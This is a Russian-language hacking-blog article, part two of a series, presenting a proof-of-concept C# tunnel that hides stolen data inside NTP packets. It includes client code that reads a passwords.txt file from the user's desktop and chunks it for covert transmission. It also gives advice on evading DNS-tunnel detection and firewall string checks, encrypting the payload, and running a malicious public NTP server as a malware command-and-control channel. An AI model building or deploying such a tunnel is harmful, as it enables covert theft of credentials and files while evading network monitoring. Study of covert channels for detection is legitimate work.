Проброс трафика через NTP протокол. Часть 2
Life-Hack [Жизнь-Взлом]/ХакингНазвание последней функции говорит само за себя. Она собирает пакет в массив байтов для отправки. Структура пакета клиента и сервера одинакова, что снимает некоторые сложности при сборке пакетов на клиенте и сервере. Но разница все-таки есть, ведь один из битов заголовка указывает на режим (клиент/сервер), и для большей скрытности не следует об этом забывать.
Следующая проблема, с которой я столкнулся при реализации PoC, состоит в том, что сокеты UDP в C# исключительно однонаправленные. Поэтому встала задача сделать сокет двунаправленным. Решается это простым костылем: мы делаем два сокета на одном порте и устанавливаем для обоих флаг ReuseAddress в true. При желании это можно завернуть в один класс, но я делать этого не стал, поскольку лучший код — это код, который никто не понимает.
В сервере дальше объяснять нечего, если у тебя возникнут какие-то вопросы — не стесняйся задавать их в комментариях.
При запуске наш псевдосервер спросит, на каком интерфейсе слушать и какой порт использовать. После этого появится штатный запрос Windows Firewall, в котором тебе надо будет предоставить доступ нашему приложению. Все, теперь PoC будет запущен и готов к принятию соединения.


Клиент
Сервер готов, дело за клиентом. Давай сразу договоримся, что наша цель — организовать передачу данных только от клиента к серверу. Ответы нас не интересуют, так как мы не интерактивный шелл делаем, а просто крадем содержимое файла passwords.txt, лежащего на рабочем столе юзера.
Это значит, что оговоренный выше костыль в виде двух сокетов UDP на одном порте нам не понадобится. Если у тебя будет желание повозиться с этим — один из вариантов реализации я предложил. Другой состоит в отправке пакетов UDP не из сокета, а через PcapNet, что, правда, требует установки драйвера на клиентской машине. Сейчас для нас это не проблема, поскольку мы тестируем все только на своих машинах, но для пентестов этот способ явно не годится.
Лирическое отступление закончено, теперь кодим. Создавай новый проект, я назвал его NtpTun_Client. Красивую псевдографику в консоли, со всеми приглашениями, ты, думаю, и сам сделаешь, а если не справишься — загляни в мой репозиторий, там есть мой вариант клиента.
Сразу предлагаю обратить внимание на отличия между классами NtpClient на сервере и клиенте. Клиент пакует данные в свои поля (напомню, это Poll, Originate и Transmit), а сервер — в свои (Precision, Root delay, Root dispersion, Reference, RefID, Receive). И не забудь про флаг в поле Mode (клиент/сервер), а то у Wireshark и других средств анализа возникнут справедливые вопросы. Если тебе лень читать документацию, то значение первого байта пакета у клиента должно быть 0x1B, а у сервера — 0x1C. Реализацию EmbedDataToPacketC и GetBuiltInPacketS привожу тут, за остальным опять же отсылаю на мой гитхаб.
Алгоритм действий клиента прост, но в то же время требует некоторых разъяснений.
Сначала необходимо получить приватные данные. Я не буду изобретать велосипед, так что пусть это будет содержимое файла passwords.txt с рабочего стола юзера. И не говори, что не пользовался таким «парольным менеджером»!
<span class="typ">String</span><span class="pln"> path </span><span class="pun">=</span> <span class="typ">Path</span><span class="pun">.</span><span class="typ">Combine</span><span class="pun">(</span><span class="typ">Environment</span><span class="pun">.</span><span class="typ">GetFolderPath</span><span class="pun">(</span><span class="typ">Environment</span><span class="pun">.</span><span class="typ">SpecialFolder</span><span class="pun">.</span><span class="typ">Desktop</span><span class="pun">),</span> <span class="str">"passwords.txt"</span><span class="pun">);</span> <span class="typ">String</span><span class="pln"> contents </span><span class="pun">=</span> <span class="typ">File</span><span class="pun">.</span><span class="typ">ReadAllText</span><span class="pun">(</span><span class="pln">path</span><span class="pun">);</span>
Этот код заодно демонстрирует правильную работу с путями. Складывать их как строки — дурной тон, и такой код плохо переносится. Path.Combine — наш выбор!
Далее в коде ты можешь увидеть странную строчку:
<span class="pln">contents </span><span class="pun">+=</span> <span class="str">"TRANSFER COMPLETE"</span><span class="pun">;</span>
Ее суть заключается в том, что отправить лишний пакет нам не жалко, а если файл, который мы отправляем, был пустым или меньше 17 байт длиной, то следующий пункт нашего алгоритма не выполнится. Поэтому мы предполагаем худший вариант развития событий и добавляем «хвост», чтобы гарантированно отправить хотя бы один пакет.
Следующий финт ушами — разбиваем данные на блоки по 17 байт. Я не придумал ничего лучше, чем завести список байтовых массивов и добавлять в массив байты по одному в цикле.
<span class="kwd">int</span><span class="pln"> ctr </span><span class="pun">=</span> <span class="lit">0</span><span class="pun">;</span>
<span class="typ">List</span><span class="pun"><</span><span class="kwd">byte</span><span class="pun">[]></span><span class="pln"> pcs </span><span class="pun">=</span> <span class="kwd">new</span> <span class="typ">List</span><span class="pun"><</span><span class="kwd">byte</span><span class="pun">[]>();</span>
<span class="kwd">int</span><span class="pln"> BYTE_CNT </span><span class="pun">=</span> <span class="lit">17</span><span class="pun">;</span>
<span class="kwd">byte</span><span class="pun">[]</span><span class="pln"> current </span><span class="pun">=</span> <span class="kwd">new</span> <span class="kwd">byte</span><span class="pun">[</span><span class="pln">BYTE_CNT</span><span class="pun">];</span>
<span class="kwd">foreach</span> <span class="pun">(</span><span class="kwd">var</span><span class="pln"> cb </span><span class="kwd">in</span> <span class="typ">Encoding</span><span class="pun">.</span><span class="pln">ASCII</span><span class="pun">.</span><span class="typ">GetBytes</span><span class="pun">(</span><span class="pln">contents</span><span class="pun">))</span>
<span class="pun">{</span>
<span class="kwd">if</span> <span class="pun">(</span><span class="pln">ctr </span><span class="pun">==</span><span class="pln"> BYTE_CNT</span><span class="pun">)</span>
<span class="pun">{</span>
<span class="com">// BYTE_CNT bytes added, start new iteration</span>
<span class="kwd">byte</span><span class="pun">[]</span><span class="pln"> bf </span><span class="pun">=</span> <span class="kwd">new</span> <span class="kwd">byte</span><span class="pun">[</span><span class="pln">BYTE_CNT</span><span class="pun">];</span><span class="pln">
current</span><span class="pun">.</span><span class="typ">CopyTo</span><span class="pun">(</span><span class="pln">bf</span><span class="pun">,</span> <span class="lit">0</span><span class="pun">);</span><span class="pln">
pcs</span><span class="pun">.</span><span class="typ">Add</span><span class="pun">(</span><span class="pln">bf</span><span class="pun">);</span>
<span class="typ">String</span><span class="pln"> deb </span><span class="pun">=</span> <span class="typ">Encoding</span><span class="pun">.</span><span class="pln">ASCII</span><span class="pun">.</span><span class="typ">GetString</span><span class="pun">(</span><span class="pln">bf</span><span class="pun">);</span><span class="pln">
ctr </span><span class="pun">=</span> <span class="lit">0</span><span class="pun">;</span>
<span class="kwd">for</span> <span class="pun">(</span><span class="kwd">int</span><span class="pln"> i </span><span class="pun">=</span> <span class="lit">0</span><span class="pun">;</span><span class="pln"> i </span><span class="pun"><</span><span class="pln"> BYTE_CNT</span><span class="pun">;</span><span class="pln"> i</span><span class="pun">++)</span><span class="pln"> current</span><span class="pun">[</span><span class="pln">i</span><span class="pun">]</span> <span class="pun">=</span> <span class="lit">0x0</span><span class="pun">;</span>
<span class="pun">}</span>
<span class="kwd">if</span> <span class="pun">(</span><span class="pln">cb </span><span class="pun">==</span> <span class="str">'\n'</span> <span class="pun">||</span><span class="pln"> cb </span><span class="pun">==</span> <span class="str">'\r'</span><span class="pun">)</span>
<span class="pun">{</span><span class="pln">
current</span><span class="pun">[</span><span class="pln">ctr</span><span class="pun">]</span> <span class="pun">=</span> <span class="typ">Encoding</span><span class="pun">.</span><span class="pln">ASCII</span><span class="pun">.</span><span class="typ">GetBytes</span><span class="pun">(</span><span class="str">"_"</span><span class="pun">)[</span><span class="lit">0</span><span class="pun">];</span>
<span class="pun">}</span>
<span class="kwd">else</span><span class="pln"> current</span><span class="pun">[</span><span class="pln">ctr</span><span class="pun">]</span> <span class="pun">=</span><span class="pln"> cb</span><span class="pun">;</span><span class="pln">
ctr</span><span class="pun">++;</span>
<span class="pun">}</span>
Переменная BYTE_CNT нужна на случай, если ты решишь паковать не по 17, а, например, по 11 байт.
Вот все и готово. Фасуем наши блоки данных по пакетикам пакетам NTP и отправляем. Дальше происходит задержка (я взял 200 мс, можно меньше), чтобы данные отправлялись синхронно и в том же порядке, в каком пакеты поставлены в очередь отправки. Эта необходимость связана с внутренним устройством класса UDPSocket: там используется асинхронная отправка. Таким образом, задержка позволяет почти гарантировать, что отправка выполнится в нужном порядке.
Реализация этого чуда инженерной мысли находится в файле Program.cs проекта NtpTun_CLIENT, найти который ты можешь все в том же репозитории.
Для удобства использования и отладки клиент также выводит некоторое количество вспомогательных данных, таких как скорость отправки пакетов. Она учитывает упомянутую выше задержку, так что скорость выходит довольно небольшая. Бенчмарк (смотри раздел о производительности ниже) не добавляет задержку, что позволяет значительно увеличить пропускную способность туннеля.
Выглядит финальный результат как на скриншотах.


Клиент на Powershell
В теории никто не мешает нам сделать то же самое в виде скрипта на Powershell, чтобы не таскать с собой приличного размера бинарник. «Пошик» есть на всех машинах с Windows 7 и выше, если его не выковыряли из системы руками. Получается, что мы имеем возможность запустить наш скрипт даже без файла. Я не мастер Powershell, но, если ты в нем разбираешься, попробуй и не забудь поделиться результатами в комментариях.
Тестирование с Wireshark
Wireshark содержит встроенные средства разбора пакетов множества протоколов. В этом списке есть и NTP. Это значит, что мы можем анализировать наши пакеты на соответствие RFC без напряжения мозговых извилин. Если ты не хочешь возиться с виртуалками, можно поставить Npcap Loopback Adapder Driver, идущий в комплекте с Nmap. Он позволяет Wireshark ловить локальный трафик.

Данные в PoC передаются только в одну сторону, поэтому полноценного обмена пакетами ты здесь не увидишь. Главное — что наши пакеты опознаются как вполне обыкновенные и не вызывают ошибок при проверке на соответствие RFC.
О производительности и скрытности
Как у нас дела со скоростью передачи данных? Ближайший родственник проброса трафика через NTP протокол — DNS-туннелирование показывает симметричную скорость до 10 Кбайт/с и асимметричную 5 Кбайт/с на прием и до 13 — на отдачу. Свой метод я протестировал и получил на порядок лучшие результаты, что меня, конечно, сильно обрадовало.
Радует и то, что за оптимизацию клиента я пока даже не брался, так что эти результаты наверняка улучшатся. На скриншоте ниже показатели скорости отображают полезную нагрузку, а не полную. То есть 83 Кбайт/с на отдачу — это 83 Кбайт/с полезных данных, а полная загрузка будет несколько выше (программа просто ее не отображает).

Что касается скрытности, то все на высшем уровне. Даже DNS-туннель еще не все защитные средства научились находить, а наши «заряженные» пакеты запалить еще сложнее.
В сравнении с DNS
Раз уж мы вспомнили про туннелирование через DNS, то давай разберемся, почему защита от него не сработает против проброса трафика через NTP протокол. Даже если пустить этот трафик по 53-му порту UDP, мы не выйдем за «нормальную» длину пакета, а проверка на наличие строк (например, файрвол вздумает искать там запрещенные слова типа cmd, bash, UserPassword:) не покажет ничего.
Это в DNS поддомен должен быть строкой. А у нас бинарный протокол, так что сразу появляется куча возможностей сокрытия интересных данных. Это может быть банальный XOR, может быть AES, RC4 и еще много чего. А если сделать гибрид (например, получать ключи шифрования по DNS и шифровать ими данные в NTP), то у нас будет дешевый и надежный способ передачи данных из доверенной сети.
В общем, в современных реалиях всерьез расследовать паразитную нагрузку на канал в размере нескольких сотен килобит в секунду даже не интересно, так что, даже если и будут замечены аномалии в количестве пакетов NTP, это, скорее всего, спишут на ошибку.
Применение
Проброс трафика через NTP протокол может применяться как в тестах на проникновение, так и вирусописателями. Если не остается других способов общаться с сервером C&C, то это на данный момент идеальное решение. Можно создать публичный сервер NTP, чтобы он отдавал «нормальное» время всем, кроме нескольких десятков IP-адресов, с которыми будет общаться по такому туннелю. Такой сервер никто не запалит извне, поскольку проверка покажет полное соответствие стандарту. Главное — не забывай, что за все свои действия несешь ответственность только ты.